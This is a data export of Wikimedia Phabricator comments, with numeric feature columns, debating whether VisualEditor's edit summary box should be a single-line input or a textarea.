462223,VisualEditor: Edit summary box should be a text input box and not textarea,"I think I have a pretty good idea on how to implement this, I'll try to do some pre-hackathon hacking on it today.",,,1432288471,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,4.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,"I think I have a pretty good idea on how to implement this, I'll try to do some pre-hackathon hacking on it today."
462139,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1302510, @Whatamidoing-WMF wrote:
> I care whether it **behaves like** the wikitext edit summary in terms of interacting with my web browser.  I want to type a complex edit summary once, and have that edit summary automagically re-appear whenever I start typing it on my next edit.  If you can give me that useful function while making the box a perfect square, then I'm satisfied.  I need the function, not the appearance. 

Yup. IIUC, changing the textarea to a text input line, will solve {T50274} (possibly that should be listed as blocked by this?)

Re: keeping it visually highlighted - do note that the textarea has the bright blue border now, when the field is active, which it is automatically when opened, (but not shown in matmarex's screenshot above), and I think that could be sufficient. 


",,,1432250744,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,0.0,0.0,0.0,2.0,1.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,5.0,3.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,1.0,0.0,1.0,14.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,5.0,8.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,5.0,1.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,2.0,0.0,0.0,0.0,3.781609195402299,0.7701149425287356,"QUOTE
QUOTE

Yup. IIUC, changing the textarea to a text input line, will solve {T50274} (possibly that should be listed as blocked by this?)

Re: keeping it visually highlighted - do note that the textarea has the bright blue border now, when the field is active, which it is automatically when opened, (but not shown in matmarex's screenshot above), and I think that could be sufficient. 


"
462085,VisualEditor: Edit summary box should be a text input box and not textarea,"I've said this in several places, but I repeat it here:  I don't care what size or shape the edit summary box is on my computer screen.  

I care whether it **behaves like** the wikitext edit summary in terms of interacting with my web browser.  I want to type a complex edit summary once, and have that edit summary automagically re-appear whenever I start typing it on my next edit.  If you can give me that useful function while making the box a perfect square, then I'm satisfied.  I need the function, not the appearance. ",,,1432241088,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,0.5,0.0,0.0,0.0,1.5,4.5,0.5,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,7.5,0.5,5.0,7.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,0.0,2.0,1.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,0.5,6.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,10.5,7.5,0.5,0.0,0.0,0.0,10.5,0.0,1.5,1.5,1.0,2.0,0.0,0.0,0.0,3.631920903954802,0.73954802259887,"I've said this in several places, but I repeat it here:  I don't care what size or shape the edit summary box is on my computer screen.  

I care whether it **behaves like** the wikitext edit summary in terms of interacting with my web browser.  I want to type a complex edit summary once, and have that edit summary automagically re-appear whenever I start typing it on my next edit.  If you can give me that useful function while making the box a perfect square, then I'm satisfied.  I need the function, not the appearance. "
462084,VisualEditor: Edit summary box should be a text input box and not textarea,"The last thing I heard is that making the edit summaries any bigger required redesigning //the database// (yes, //that// database), not merely the user interface.",,,1432240831,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,3.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,7.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.6,0.9333333333333333,"The last thing I heard is that making the edit summaries any bigger required redesigning //the database// (yes, //that// database), not merely the user interface."
462074,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1302437, @awight wrote:
> Okay, I understand where that's coming from.  On the other hand, sometimes it's really helpful to have a brief summary sentence, then a few more paragraphs of relevant things which fall into the ""why"" category and are therefore more appropriate in a summary or the Talk page than in the main article.

Well, edit summaries are limited to around 200 characters. Changing that limit would involve redesigning the UI, which is doable, but is a fairly big undertaking that should only be done if there's some specific need to change this. I don't think there's a need for that.

> How would you suggest we broaden this discussion?  I'm not sure this is the right place, and donno if wikitech-l is the best mailing list, cos we should involve editors.

I expect that the product folks in the VisualEditor Team will take our input then make an appropriate decision. :-)",,,1432238326,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,1.0,0.0,0.0,2.0,1.0,5.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,2.0,4.0,2.0,6.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,14.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,7.0,5.0,12.0,2.0,1.0,13.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,4.083333333333333,0.75,"QUOTE
QUOTE

Well, edit summaries are limited to around 200 characters. Changing that limit would involve redesigning the UI, which is doable, but is a fairly big undertaking that should only be done if there's some specific need to change this. I don't think there's a need for that.

QUOTE

I expect that the product folks in the VisualEditor Team will take our input then make an appropriate decision. :-)"
462069,VisualEditor: Edit summary box should be a text input box and not textarea,"Okay, I understand where that's coming from.  On the other hand, sometimes it's really helpful to have a brief summary sentence, then a few more paragraphs of relevant things which fall into the ""why"" category and are therefore more appropriate in a summary or the Talk page than in the main article.

How would you suggest we broaden this discussion?  I'm not sure this is the right place, and donno if wikitech-l is the best mailing list, cos we should involve editors.",,,1432237819,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.5,0.0,0.0,0.0,1.0,7.5,2.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,3.5,0.0,5.5,7.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.5,0.5,0.5,1.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,6.5,2.5,4.5,3.0,2.5,9.5,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,5.0,7.0,0.0,1.0,1.0,0.0,5.0,0.0,2.5,1.5,0.0,0.5,1.0,1.0,0.0,3.8692156862745097,0.8415686274509804,"Okay, I understand where that's coming from.  On the other hand, sometimes it's really helpful to have a brief summary sentence, then a few more paragraphs of relevant things which fall into the ""why"" category and are therefore more appropriate in a summary or the Talk page than in the main article.

How would you suggest we broaden this discussion?  I'm not sure this is the right place, and donno if wikitech-l is the best mailing list, cos we should involve editors."
462066,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1302396, @awight wrote:
> @Deskana, I'm curious why you say that,
>> We want users to be fairly brief with their edit summaries

Edit summaries are intended to be quite brief summaries of the edits. I don't think encouraging users to write a lot of text in there is a good idea.",,,1432236841,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.0,0.0,0.0,3.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,3.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.6842105263157894,0.7894736842105263,"QUOTE
QUOTE
QUOTE

Edit summaries are intended to be quite brief summaries of the edits. I don't think encouraging users to write a lot of text in there is a good idea."
462065,VisualEditor: Edit summary box should be a text input box and not textarea,"@Deskana, I'm curious why you say that,
> We want users to be fairly brief with their edit summaries",,,1432236748,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"SCREEN_NAME, I'm curious why you say that,
QUOTE"
461076,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1296269, @matmarex wrote:
> For comparison. The last one looks positively //tiny//.  We'd need to come up with something smart if we were to make it single-line.

That's not necessarily a bad thing. We want users to be fairly brief with their edit summaries, and bigger boxes are more likely to encourage them to write more. Smaller boxes encourage the opposite.

That said, we'd have to be sure that the user's attention isn't drawn to the wrong place; in the last screenshot, the box is so small that the user's attention may not immediately be drawn to that text box. You could try try making the font in the box slightly larger, and slightly increasing the width of the dialogue to compensate.

",,,1432068967,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.0,0.0,0.0,1.5,2.0,7.0,2.5,0.0,0.0,0.0,1.5,1.5,0.0,1.5,0.0,1.0,1.0,7.0,9.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,3.5,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,13.5,1.0,1.0,0.0,2.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.5,4.0,4.0,1.5,1.5,10.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.5,1.5,3.0,0.0,0.0,3.9310344827586206,0.7068965517241379,"QUOTE
QUOTE

That's not necessarily a bad thing. We want users to be fairly brief with their edit summaries, and bigger boxes are more likely to encourage them to write more. Smaller boxes encourage the opposite.

That said, we'd have to be sure that the user's attention isn't drawn to the wrong place; in the last screenshot, the box is so small that the user's attention may not immediately be drawn to that text box. You could try try making the font in the box slightly larger, and slightly increasing the width of the dialogue to compensate.

"
460780,VisualEditor: Edit summary box should be a text input box and not textarea,"For comparison. The last one looks positively //tiny//.  We'd need to come up with something smart if we were to make it single-line.

| Current edit summary field | {F166629,size=full} |
| -- |
| Wikitext editor edit summary field | {F166627,size=full} |
| -- |
| Proposed edit summary field (single-line) | {F166624,size=full} |
| -- |
",,,1432045895,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,10.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2988505747126435,0.5402298850574713,"For comparison. The last one looks positively //tiny//.  We'd need to come up with something smart if we were to make it single-line.

| Current edit summary field | {F166629,size=full} |
| -- |
| Wikitext editor edit summary field | {F166627,size=full} |
| -- |
| Proposed edit summary field (single-line) | {F166624,size=full} |
| -- |
"
460545,VisualEditor: Edit summary box should be a text input box and not textarea,"Just merged in very similar task arguing that enter should submit the summary field. (On a similar note, I've proposed using meta + enter as a general shortcut for submitting dialogs in T98105.)

Good points in the comments:

@matmarex:
>This could be confusing since the summary text field looks like a multiline text input, possibly causing users to accidentally submit with incomplete summaries (which can't be corrected afterwards).
>
>It could be interesting to try something else – maybe pressing Enter twice to submit the form, maybe Ctrl+Enter? We should probably do some research.
>
>...
>
>* Facebook: comments to posts on the timeline are normally single-line (pressing Enter in the text field submits a comment), but you can make them multi-line by pressing Ctrl+Enter or Shift+Enter (or by copy-pasting text with newlines). Pressing Enter submits the comment even if it is multi-line.
>* My bank has these ""wrapped single-line"" inputs in some fields and pressing Enter always does nothing in them. Accidentally submitting a form could potentially have dire consequences there.

@Deskana:
>For the advanced user, the current approach where enter adds new lines is counterintuitive. The advanced user not only knows that edit summaries cannot be multi-line, but it also feels wrong because they're also used to enter submitting their edit.
>
>For the new user, the current approach feels misleading, as you're giving the user an expectation that edit summaries can be multi-lined when in fact they cannot. This user has no expectations about enter submitting the edit, so probably doesn't care too much about that.
>
>I think the best approach would be to make the edit summary box single-line, and make enter submit the edit.",,,1431978382,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,26.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,8.0,13.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,3.7435897435897436,0.5384615384615384,"Just merged in very similar task arguing that enter should submit the summary field. (On a similar note, I've proposed using meta + enter as a general shortcut for submitting dialogs in T98105.)

Good points in the comments:
SCREEN_NAME:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
241394,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to Spinningspark from comment #10)

However, the input box should be large enough to accomodate the maximum permitted length of edit summary, even if that means using two lines.",,,1411393509,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.157894736842105,0.9210526315789473,"(In reply to Spinningspark from comment #10)

However, the input box should be large enough to accomodate the maximum permitted length of edit summary, even if that means using two lines."
241389,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to Amir E. Aharoni from comment #9)
> Is it possible to meet in the middle: To show it as a textarea, but to allow
> saving using Enter/Return? And maybe provide autocomplete?

That will lead to another problem: newbies will accidentally save before they have finished entering the summary.

The fact is, the edit summary *is not* a text area and should not be displayed as such.  It can only ever be a single line of text.  That is what should be shown.  Enter should initiate a save.",,,1411391908,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,1.0,9.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,3.546511627906977,0.6976744186046512,"(In reply to Amir E. Aharoni from comment #9)
QUOTE
QUOTE

That will lead to another problem: newbies will accidentally save before they have finished entering the summary.

The fact is, the edit summary *is not* a text area and should not be displayed as such.  It can only ever be a single line of text.  That is what should be shown.  Enter should initiate a save."
241384,VisualEditor: Edit summary box should be a text input box and not textarea,"Is it possible to meet in the middle: To show it as a textarea, but to allow saving using Enter/Return? And maybe provide autocomplete?",,,1409247587,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,60,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,17.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7333333333333334,0.9,"Is it possible to meet in the middle: To show it as a textarea, but to allow saving using Enter/Return? And maybe provide autocomplete?"
241380,VisualEditor: Edit summary box should be a text input box and not textarea,"Bug 48274 seems to cover the same ground, and was one of the first things I found problematic with VE: those of us who do a lot of regular work on many different articles usually have a set of standardised edit summaries which can convey a lot of useful information, with links, to help other editors. The autocomplete facility provided by browsers for a one-line input box worked well.",,,1375521561,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,5.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,1.0,0.0,0.0,0.0,0.0,4.12987012987013,0.8051948051948052,"Bug 48274 seems to cover the same ground, and was one of the first things I found problematic with VE: those of us who do a lot of regular work on many different articles usually have a set of standardised edit summaries which can convey a lot of useful information, with links, to help other editors. The autocomplete facility provided by browsers for a one-line input box worked well."
241375,VisualEditor: Edit summary box should be a text input box and not textarea,"**JohnCD67** wrote:

Killiondude's comment 1 is an significant usability point - for repetitive tasks it is very helpful that the browser pops up a list of suggestions to click on, which is context-sensitive and based on previous usage. I did not realise how helpful that was until with VE I found myself having to type the full edit summary each time.",,,1375440006,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,1.0,0.0,1.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,5.0,5.0,7.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,14.0,7.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,4.013698630136986,0.821917808219178,"**JohnCD67** wrote:

Killiondude's comment 1 is an significant usability point - for repetitive tasks it is very helpful that the browser pops up a list of suggestions to click on, which is context-sensitive and based on previous usage. I did not realise how helpful that was until with VE I found myself having to type the full edit summary each time."
241370,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to comment #5)
> > Sure, but collapsing the box down to a single line would de-emphasise the
> > edit summary, however, and turn it back into ""a mysterious text box"" that
> > uses ""feel free to skip"".
> 
> Why would it?
> 
> It's still hidden behind a modal dialog. I will wager that editors still feel
> forced to fill it in simply because it is there.

The numbers went up when we switched from inputbox to textarea. Expecting them not to fall when we reverse that change seems unlikely to me.",,,1375423283,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,8.0,13.0,12.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,3.576923076923077,0.6153846153846154,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The numbers went up when we switched from inputbox to textarea. Expecting them not to fall when we reverse that change seems unlikely to me."
241365,VisualEditor: Edit summary box should be a text input box and not textarea,"**sk8er_97456** wrote:

> Sure, but collapsing the box down to a single line would de-emphasise the
> edit
> summary, however, and turn it back into ""a mysterious text box"" that uses
> ""feel
> free to skip"".

Why would it?

It's still hidden behind a modal dialog. I will wager that editors still feel forced to fill it in simply because it is there.",,,1375418475,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,10.0,6.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4,0.68,"**sk8er_97456** wrote:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why would it?

It's still hidden behind a modal dialog. I will wager that editors still feel forced to fill it in simply because it is there."
241359,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to comment #3)
> I seriously doubt that that is the reason you have a higher incidence of edit
> summaries. What you did in parallel to making it a textarea was that you hid
> the ""Save page"" final submit button behind a dialog that prominently presents
> the box for an edit summary. Users no longer feel free to skip a mysterious
> text box and click ""Save page"" right away, the look and feel of the modal
> dialog forces them to consider filling it out in full before proceeding.
> That's why you're getting more edit summaries.

Sure, but collapsing the box down to a single line would de-emphasise the edit summary, however, and turn it back into ""a mysterious text box"" that uses ""feel free to skip"".",,,1375415740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,2.0,9.0,11.0,0.0,6.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.234375,0.65625,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sure, but collapsing the box down to a single line would de-emphasise the edit summary, however, and turn it back into ""a mysterious text box"" that uses ""feel free to skip""."
241354,VisualEditor: Edit summary box should be a text input box and not textarea,"**sk8er_97456** wrote:

